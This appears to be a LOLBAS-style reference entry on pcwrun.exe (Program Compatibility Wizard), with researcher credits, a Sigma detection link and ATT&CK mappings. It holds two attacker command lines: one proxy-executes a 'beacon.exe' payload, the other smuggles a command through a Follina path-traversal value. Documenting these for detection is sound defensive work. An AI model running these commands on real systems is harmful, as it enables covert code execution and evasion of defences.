.. /Pcwrun.exe
Star

Program Compatibility Wizard

Paths:

C:\Windows\System32\pcwrun.exe

Resources:

Acknowledgements:

Pierre-Alexandre Braeken (@pabraeken)
Nasreddine Bencherchali (@nas_bench)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml

Execute

Open the target .EXE file with the Program Compatibility Wizard.
```
Pcwrun.exe c:\temp\beacon.exe
```
Use case
Proxy execution of binary

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1218
Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
```
Pcwrun.exe /../../$(calc).exe
```
Use case
Proxy execution of binary

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1202